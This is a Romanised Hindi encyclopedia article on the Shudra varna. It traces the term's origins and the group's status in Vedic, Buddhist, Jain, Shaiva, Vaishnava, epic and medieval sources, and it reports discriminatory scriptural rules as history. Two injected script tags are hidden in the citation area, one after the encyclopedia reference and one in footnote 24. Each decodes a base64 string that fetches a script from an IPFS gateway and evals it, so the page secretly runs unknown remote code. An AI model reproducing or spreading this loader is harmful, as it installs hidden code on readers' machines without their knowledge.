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shoodr
vivaran shoodr bharatiy samaj vyavastha mean chaturth varn ya jati hai.
utpatti shoodr shabd moolat: videshi hai aur sanbhavat: ek parajit anary jati ka mool nam tha.
pauranik sandarbh vayu puran ka kathan hai ki shok karake dravit hone vale paricharyarat vyakti shoodr haian. bhavishyapuran mean shruti ki druti (avashishtaansh) prapt karane vale shoodr kahalae.[1]
vaidik paranpara atharvaved mean kalyani vak (ved) ka shravan shoodroan ko vihit tha.[2] paranpara hai ki aitarey brahman ka rachayita mahidas itara (shoodr) ka putr tha. kiantu bad mean vedadhyayan ka adhikar shoodroan se le liya gaya.
aitihasik sandarbh shoodr janajati ka ullekh dayodoras, t aaulmi aur hven tsaang bhi karate haian.
arthik sthiti uttar vaidik kal mean shoodr ki sthiti das ki thi athava nahian[3] is vishay mean nishchit nahian kaha ja sakata. vah karmakar aur paricharya karane vala varg tha.
madhy kal kabir, raidas, pipa is kal ke prasiddh shoodr sant haian. asam ke shankaradev dvara pravartit mat, panjab ka sikkh sanpraday aur maharashtr ke barakari sanpraday ne shoodr mahattv dharmik kshetr mean pratishthit kiya.
adhunik kal vebar, bhimarav ambedakar, zimar aur ramasharan sharma kramash: shoodroan ko moolat: bharatavarsh mean prathamagat aryaskandh, kshatriy, brahuee bhashi aur abhir sanbaddh manate haian.
sanbandhit lekh varn vyavastha, brahman, vaishy, kshatriy, charmakar, mina, kumhar, das, bhil, banjara
any janakari pad se utpann hone ke karan padaparicharya shoodroan ka vishisht vyavasay hai. dvijoan ke sath asan, shayan vak aur path mean samata ki ichchha rakhane vala shoodr dandy hai.[4]

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shoodr bharatiy samaj vyavastha mean chaturth varn ya jati hai. vayu puran[5], vedaantasootr[6] aur chhaandogy evan vedaantasootr ke shaankarabhashy mean shuch aur dru dhatuoan se shoodr shabd vyutpann kiya gaya. vayu puran ka kathan hai ki shok karake dravit hone vale paricharyarat vyakti shoodr haian. bhavishyapuran mean shruti ki druti (avashishtaansh) prapt karane vale shoodr kahalae.[7] dirghanikay mean khuddachar (kshudrachar) mean sudd shabd sanbaddh kiya gaya.[8] homar ke dvara ullikhit 'koodroan' se shoodr shabd jo dane ka bhi prayatn hua.[9]

utpatti

shoodr shabd moolat: videshi hai aur sanbhavat: ek parajit anary jati ka mool nam tha. shastroan ke anusar pratyek vyakti shoodr paida hota hai aur prayatn aur vikas se any varn avasthaoan mean pahuanchata hai. vastav mean pratyek mean charoan varn sthapit haian.

paranparik sanbhavanaean

rrigved ke purushasookt[10] se purush ke padoan se shoodr ki utpatti ka ullekh hai. purushotpatti ka yah siddhaant brahman granth[11], vajasaneyi sanhita[12], mahabharat[13], puran[14] mean shoodradev poosha se shoodr ki utpatti batalaee gee hai. vishnu aur vayu puran ke anusar yajnanishpatti ke lie chaturvarnoan ka sarjan hua. shaantiparv aur gita mean gunakarm ke adhar par chaturvarny pratishthit hai. hiansa, anrit, lobh aur ashuchita ke karan tamasi dvij krishna hokar shoodr varn mean parinat hue.[15] bauddh paranpara mean bandhapadapachy se ivy (sevak) aur kinh (krishna) nikale.[16] jain paranpara mean tirthankar rrishabhadev aur unake shishy bharat ne charoan varnoan ka nirman kiya.[17]

aitihasik paryalochan

pashchaty vidvanoan ke anusar praranbh mean do hi varn the, ary aur das.[18] atharvaved mean ary das ka yugm aryashoodr mean parinat ho gaya.[19] at: shoodr das dasyu ke uttaradhikari haian. kiantu yah mat nirbhraant nahian. uparyukt sthaloan par[20] shabd ary nahian kiantu ary (vaishy) hai. vebar, bhimarav ambedakar, zimar aur ramasharan sharma kramash: shoodroan ko moolat: bharatavarsh mean prathamagat aryaskandh, kshatriy, brahuee bhashi aur abhir sanbaddh manate haian. shoodr janajati ka ullekh dayodoras, t aaulmi, aur hvenasaang bhi karata hai. shoodr varn mean sanbhavat: ary aur anary karmakaroan ke yugal tatv the.

panini ka ullekh

panini ne do prakar ke shoodroan ka ullekh kiya hai- ek aniravasit, jo hiandoo samaj ke aang the, aur doosare niravasit (shoodranamaniravasitanamh).[21] is sootr par patanjali ka vishad bhashy shoodroan ki shuangakalin sthiti ka parichayak hai. 'aniravasit shoodr ve haian, jo aryavart ki bhaugolik sima ke bhitar rahate haian. isake viparit patanjali ne aryavart ki sima ke bahar ke shoodroan mean kuchh videshiyoan ka ullekh kiya hai, jaise shak aur yavan. patanjali ke samay ki aitihasik sthiti mean shak log eeran aur afaganistan ki sima par shakasthan mean jame the aur yavan arthat yoonani log balhik aur gandhar mean pratishthit the. isi sootr par patanjali ka doosara udaharan 'kishkiandhagabdikan' hai. panini ke siandhvadi-gan [22] mean kishkindha aur gabdika donoan ka path hai. kishkindha gorakhapur zile ka khukhuando aur gabdika chanba ka gaddi pradesh tha. ye donoan us samay aryavart ki sima se bahar mane jate the.


maury samrajy ki kamar tootane par videshiyoan ke dhakke se aryavart ki simaean yahaan tak siku d gee ki ghar ke duare par sthit kishkindha gabdika bhi bahar gine jane lage. pantajali ke anusar mritap, chaandal adi nimn shoodr jatiyaan pray: gram, ghosh, nagar adi ary bastiyoan mean ghar banakar rahati thian. par jahaan gaanv aur shahar bahut b de the, vahaan unake bhitar bhi ve apane muhalloan mean rahane lage the. ye samaj mean sabase nichi koti ke shoodr the. inase oopar badhee, lohar, bunakar, dhobi, taksha, ayaskar, tantuvay, rajak adi jatiyoan ki ganana bhi shoodroan mean thi. ve yajn se sambandhi kuchh karyoan mean sammilit ho sakate the, par unake sath khane ke bartanoan ki chhuachhoot barati jati thi. inamean bhi ooanchi koti ke shoodr ve the, jo aryoan ke ghar ka nyauta hone par unhian bartanoan mean kha-pi sakate the, jinamean ki ghar ke log khate-pite the. vastut: ary aur shoodr ki samasya ary evan muanda nishad-shabar adi jatiyoan ko ek samajik tantr ke aanrtagat lane ki samasya thi. doosari or shak-yavan sadrish videshi shoodroan ko bhi bharatiy samaj mean sthan dene ki samasya thi.[23] malavaputr hi vartaman 'malotre' ho sakate haian.[24]

dharmik sthiti

vividh yugoan aur paranparaoan mean shoodroan ki sthiti vibhinn thi.

vaidik paranpara

yajn adhan ke adhikari n hote hue liyajnik samaroh mean sammilit ho sakate the. purushamedh ke prasang mean[25] ve traivarnikoan ke sath varnit haian. rajasooy mean danaprapti[26] aur somapan[27] karate the. havishkrit mean adhan se ahoot hote the aur mahavrat mean unaka apana kary tha.

atharvaved

atharvaved[28] mean kalyani vak (ved) ka shravan shoodroan ko vihit tha. brihaddevata[29] aur panchaviansh brahman[30] se dasiputr kakshivat, panchaviansh[31] se shoodrotpann vats, chhaandogy se satyakam jabal tatha shoodraraja raikv ke ved vidya ka adhyayan jnat hota hai. dasiputr kavash ailoosh rrigved[32] ke rrishi ke roop mean vikhyat hai. paranpara hai ki aitarey brahman ka rachayita mahidas itara (shoodr) ka putr tha. kiantu bad mean vedadhyayan ka adhikar shoodroan se le liya gaya. gautam dharmasootr[33] mean vaidik shravan, udaharan aur dharan karane par shoodr ko dandarh mana gaya.

bauddh

ashvaghosh ki vajrasoochi[34] ka kathan hai ki "drishyat ch shoodra api kvachidh vedavyakaran - sarvashastravid:." shardoolakarnavadan mean chaandal trishuank saangopaang ved, upanishad ka jnata hai. uddalak jatak mean shoodr bhi shruti ka adhyayan aur nirvan prapt kar sakate haian :-

khattiya brahmana vessa sudda chandal pukkasa. savve va sorata daanta savve va parinivvuta..

jain

'utradhyayan sootr'[35] ka chaandal harikeshi, uvasagadasao[36] ka saddal kuanhar, aur 'aantagadadasao' ka malakar arjun nimnavarn hokar bhi adhyatmik uchchata prapt kar sake. anavady achar aur upaskar ki shuchita hone par shoodr bhi devapoojan devakary ke yogy mana jata tha.[37] kiantu shoodr shravak ho sakata hai muni nahian.[38] isi prakar shoodr poojakachary nahian ho sakata.[39]

agam (shaiv)

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agam (shaiv) sanpradayoan mean kuchh, yatha shaiv siddhaant sanpraday tatha pashupat, varnabhed ko svikar karate haian. pashupatasootr mean 'shoodren nabhibhashechch' ka vidhan hai kiantu panchatantr mean pashupat tapasvi ke varnan mean kaha hai ki shoodr athava chaandal bhi dikshit hone par bhasmaang - shivasvaroop ho jata hai. kaul[40] to yah manate haian ki 'bhairavichakr mean pravisht hone par shoodr bhi dvijati ho jata hai.' svachchhandatantr diksha ke pashchath shoodr ko upavit dharan karane ki vyavastha karata hai.[41]

vaishnavi diksha

(vaishnav) vaishnavi diksha sare varnoan ko vihit hai. kiantu dikshoparaant bhi varnabhed ki sthiti rahati hai. yatha namasanskar mean charoan varnoan ka namaant kramash: sharma, varma, gupt aur das[42] hona chahie, panjagavy kramash: brahman, kshatriy, vaishy aur shoodr[43] ko dena chahie. shoodr ka upavit gunamantr[44] se yukt hota hai, kavachamantr[45] se nahian. shoodroan ke lie aniruddh vishesh roop se poojy hai. paancharatr mean kuchh shoodr bhakt hue jo sanpraday mean vishesh pratishthit ho sake. aanbal devadasi ka nam vishesh vikhyat hai. thumb|naee

puran

anek amantrak sanskar shoodroan ko vihit haian. sadharan vriddhi shraddh, panchamahayajn, vrishotsarg tatha sanpoorn poort karm evan puran, mahabharat shravan shoodr kar sakate haian. arsh kram se shoodr kashyapagotriy aur bajasaney shakha ke haian. puranoan ki smart vaishnav aur smart shaiv paranpara ke shoodroan ko bhi kramash: gopichandan, tulasi aur oodhvanpuandr[46] tatha bhasmayukt puandr ev rudraksh mala ka vidhan hai.[47]

mahabharat

shaantiparv[48] pakayajn aur poorn patr dakshina ka vidhan shoodroan ke lie karata hai. shoodr paijavan ne aiandragn yajn kiya tha.

shoodro paijavano nam sahasranaan shatan dadau.
aidragnen vidhanen dakshinabhiti n:shrutamh‌..[49]

madhyayug

smart paranpara ke tulasidas shoodr ko 'ta daniy' aur 'vipr avamani shoodr' ko shochaniy manate hue bhakt shoodr ko 'bhuvan bhooshan' bhi manate haian. unhean shoodroan ke dvara upavit dharan kar vyasapith par asin ho dvijoan ko upadesh dena alochaniy lagata hai.[50] vallabhachary ke pramukh shishy krishnadas shoodr hote hue bhi sanpraday mean vishesh sammanit the. chhitasvami ke vitthal ke vishay mean kaha ki "avakean strisoodradik sabakaan brahm sanbandh karave." nirguniyaan aur sant sanpraday mean jatibhed many nahian tha. kabir, raidas, sena, pipa is kal ke prasiddh shoodr sant haian. asam ke shankaradev dvara pravartit mat, panjab ka sikkh sanpraday aur maharashtr ke barakari sanpraday ne shoodr mahattv dharmik kshetr mean pratishthit kiya. dasanami naga sadhuoan ke joona, avahan, niranjini, anand, mahanirvani, atal, jagan, avaliya, sookh d aur good d-akha doan mean shoodrapravesh ho sakata tha.

samajik sthiti

vats kavash ailoosh, kakshivan or satyakam jabal ki kathaoan se jnat hota hai ki shoodr aur dvijoan mean uttar vaidik kal mean vaivahik sanbandh ho jaya karata tha yadyapi yah samanyat: achchha nahian mana gaya hoga. vaishy aur shoodroan mean vivah samany roop se prachalit tha.[51]

bauddh

bhaddasalajatak aur vasavakhattiya ke putravidudabh ki kathaoan se jnat hota hai ki bauddh samaj mean annapan aur vivah ke sanbandh mean jatigat vaishamy tha kiantu bauddh sangh mean yah vibhed svikar nahian tha. suttanipat ke amagandhasootr mean buddh ka spasht kathan hai ki kisi ke dvara bhi banae ge bhojan se ashauch nahian hota. mahaparinibban ke thik pahale buddh ne kumbhar putr chuanda ke yahaan suvakamadav grahan kiya tha. shravasti ke malakar jetthak ki dhita hi mallika thi jo udayan ke sath vivahit huee. kashthahari ki putri[52] aur phalavikreta ki kanya[53] aggamahishi ban sakati thi. lalitavistar aur vajrasootri mean pratinidhi bauddh mat ullikhit hai ki shoodra se vivah patak ka karan nahian.

jain

'shoodr bhojan shushrusha narakay bhavedidamh‌'[54] pratinidhi jain mat hai. kiantu sadhuoan ko ooanch nich ke bhed karane ka nishedh tha.[55] isi prakar 'shoodra shoodren' vodhavy nanya[56] vivah ka prachalit vichar tha, kiantu shoodraoan ka uchch varn mean sanbhavat: vivah hota tha. malakar ki putri bani huee padmavati se raja dantivahan ka vivah karakand maharaj kathanak vrihatkatha kosh[57] mean varnit hai.

dharmasootr smriti

pad se utpann hone ke karan padaparicharya shoodroan ka vishisht vyavasay hai. dvijoan ke sath asan, shayan vak aur path mean samata ki ichchha rakhane vala shoodr dandy hai.[58] dvijoan ke prati akrosh karane par shoodr ko sharirik dand diya ja sakata hai. kam umr ka ary vriddh shoodr se bhi pranam ka adhikari hai. shoodr ke sath brahman ka vivah nishiddh aur any dvijoan ka aprashast hai.[59] manu ke anusar shoodroan ko asur vivah paddhati vishesh roop se vihit hai.[60]

rajanitik sthiti

taittariy sanhita mean rajyabhishek ke avasar par brahman, kshatriy, vaishy aur jany (shoodr) kramash: parn, auduanbar, ashvatth aur nigrodh ke ghat se raja ka abhishek karate haian. yudhishthir ke rajyabhishek mean[61] 'manyashoodr' amantrit the. virat ki 'mantrisabha' 'vipr rajany vishasashoodraka' thi.[62] bhishm ka anushasan hai ki raja ki mantrisabha mean char pragalbh satvik brahman, das athava ath shastrapani kshatriy, 21 sanpann vaishy aur 3 vinit shoodr hoan.[63] pashchimottar mean abhir aur nishadoan ke prativesh mean shoodroan ka sanbhavat: ek ganarajy bhi tha.[64] manu[65] dayodoras, t aaulmi, hvenasaang[66] shoodr rajy ka ullekh karate haian.[67] ke anusar 'saurashtr avanti-shoodr-arbud-marubhoomi' par vraty dvij, abhir aur shoodr shasan kareange. mrichchhakatik ka aant hi shoodraraj ke abhishek se hota hai. mudraoan tatha abhilekhoan se anek shoodr rajaoan tatha rajyadhikaroan ka pata milata hai.

arthik sthiti

uttar vaidik kal mean shoodr ki sthiti das athava sarph ki thi (vaidik iandeks) athava nahian,[68] is vishay mean nishchit nahian kaha ja sakata. vah karmakar aur paricharya karane vala varg tha. sarvamegh, ashvamedh aur ekah ke avasar par 'bhoomishoodravarjy' dan ke niyam se yah anumit kiya ja sakata hai ki shoodr ke oopar svamittv nahian mana jata tha.

bauddh vanh‌may

bauddh vanh‌may mean vadthaki, kanbhar (lohar), chammakar, chittakar[69] adi ki shreniyoan ka ullekh hai. inake 'jetthak' aur 'pamus' raha karate the.

jain vanh‌may

bauddh sahity ki 'hin jati' aur 'hin sipp' saman hi jain vanh‌may mean 'ary sipp' aur 'anary sipp' ka bhed hai. aryashilp mean darji, tantuvay, chhatrakar ityadi tatha anary shilpiyoan mean chamar, naee ki ginati thi.

vyavaharagat

dharmasootr, arthashastr aur smritiyoan se shoodr sanbandhi vyavahar jnat hota hai. samajik vaishamy ke karan samanyat: chaturvarnaparak dandasamata prachalit nahian thi. vakparushy aur strisangrahan mean saman aparadhoan ke lie brahman, kshatriy, shoodr ke lie vibhinn dandoan ka vidhan tha.[70]


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panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  • vidhushekhar bhattachary : 'di stets aauvh‌ shoodraz in enshient iandiya', vishvabharati traimasik 1924 tatha shoodr, iandiyan eantikveri 1951
  • ramasharan sharma : 'stadiz in enshient iandiya, dilli 1958
  • bi.ar. aanbedakar : 'hoo var di shoodraj', banbee, 1946
  • alphrade hillebraant : 'brahman shoodraz', bresalau 1896

pathak, vishuddhanand “khand 11”, hindi vishvakosh, 1969 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 291-293.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. ↑ vedaantasootr- 1, 44, 33
  2. ↑ atharvaved 19, 32, 8
  3. ↑ ramasharan sharma pri. 163-164
  4. ↑ gautam dharmasootr 12, 5
  5. ↑ vayupuran 1, 8, 158
  6. ↑ vedaantasootr 1, 3, 34
  7. ↑ vedaantasootr- 1, 44, 33
  8. ↑ vedaantasootr- 3, 95
  9. ↑ vakaranagel, drashtavy ramasharan sharma, pri. 35
  10. ↑ rrigved 10, 92, 2
  11. ↑ panchaviansh brahman 5, 1, 6-10
  12. ↑ vajasaneyi sanhita 31, 11
  13. ↑ mahabharat 12, 73, 4-8
  14. ↑ vayu puran1, 8, 155-59, vishnu puran1, 6, dharmasootr- vasishth dharm sootr 4, 2, smritiyoan mean (manu,, 1, 31) shuddh athava samishr roop se prapt hota hai. brahman granthoan (shatapath brahman 14, 4, 2, 23, brihadaranyak 1, 4, 11
  15. ↑ vayupuran 9, 194-195, vishnu 1, 6, 5-6 bhi
  16. ↑ dighani. 1,90 aur 100
  17. ↑ acharam sootrachoorni 4, 5, 6 adipuran, 16, 148
  18. ↑ hatvadasyoonh‌ pr ary varn mavath‌
  19. ↑ priyan sarvasy pashyat ut shoodraryay
  20. ↑ arthath‌ 19, 32, 8 vajasaneyi sanhita mean
  21. ↑ 2.4.10
  22. ↑ 4.3.93
  23. ↑ mahabharat vanaparv, 297.60
  24. ↑ paninikalin bharat |lekhak: vasudevasharan agraval |prakashak: chaukhamba vidyabhavan, varanasi-1 |sankalan: bharatakosh pustakalay |prishth sankhya: 92-93 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  25. ↑ vajas. san. 30, 5
  26. ↑ kathak san. 30, 7, 1
  27. ↑ aitarey brahman 7, 294
  28. ↑ atharvaved 19, 32, 8
  29. ↑ brihaddevata 4, 25-26
  30. ↑ panchaviansh brahman 14, 11, 17
  31. ↑ panchaviansh 14, 6, 6
  32. ↑ rrigved 10, 30, 34
  33. ↑ gautamadharmasootr 12, 4
  34. ↑ ashvaghosh ki vajrasoochi prishth 5
  35. ↑ utradhyayan sootr 12, 1, 2
  36. ↑ uvasagadasao pri. 204
  37. ↑ nitikavyamrit 8, 12
  38. ↑ pravachanasar 3, yashastilak 8, 43
  39. ↑ dharmasangrah shravakachary 9, 145-146
  40. ↑ kularnav tantr, 8, 96
  41. ↑ kularnav tantr- 4, 67, 75
  42. ↑ paramasanhita, 17, 13-14
  43. ↑ jayakhy 15, 187-88
  44. ↑ paramasanhita 17, 4
  45. ↑ satvat 19, 53-54
  46. ↑ skand, vaishnav, margashirsh mahatmy 2, 21-29
  47. ↑ devi bhagavat 12, 7, 10
  48. ↑ shaantiparv 60, 38
  49. ↑ shaantiparv 60, 38
  50. ↑ nas, uttarakaand
  51. ↑ taittariy san. 7, 4, 19, 3
  52. ↑ kattahar jatak
  53. ↑ jatak 3, 14
  54. ↑ brihatkatha kosh 30, 13
  55. ↑ uvasagadasao pri. 181-84
  56. ↑ adipuran 26, 247
  57. ↑ vrihatkatha kosh 145-147
  58. ↑ gautam dharmasootr 12, 5
  59. ↑ manu. 3, 16, 19
  60. ↑ manu. 3, 24
  61. ↑ mahabharat 14, 90, 24-35
  62. ↑ virat 9, 25
  63. ↑ shaantiparv, mahabharat, 86, 7-9
  64. ↑ sabha. 29, 8-9
  65. ↑ manu 4, 61
  66. ↑ vatars, 2 pri. 252
  67. ↑ vishnupuran 4, 25, 18
  68. ↑ ramasharan sharma pri. 163-164
  69. ↑ jatak 6, pri. 22 aur 427
  70. ↑ gautam, dharmasootr 12, 1

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bahari k diyaan

sanbandhit lekh

dekhean • varta • badalean
shoodr aur das
dekhean • varta • badalean
jatiyaan, jan jatiyaan aur adim jatiyaan
pauranik varn vyavastha
jatiyaan aur jan jatiyaan
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adim jatiyaan
videshi jatiyaan

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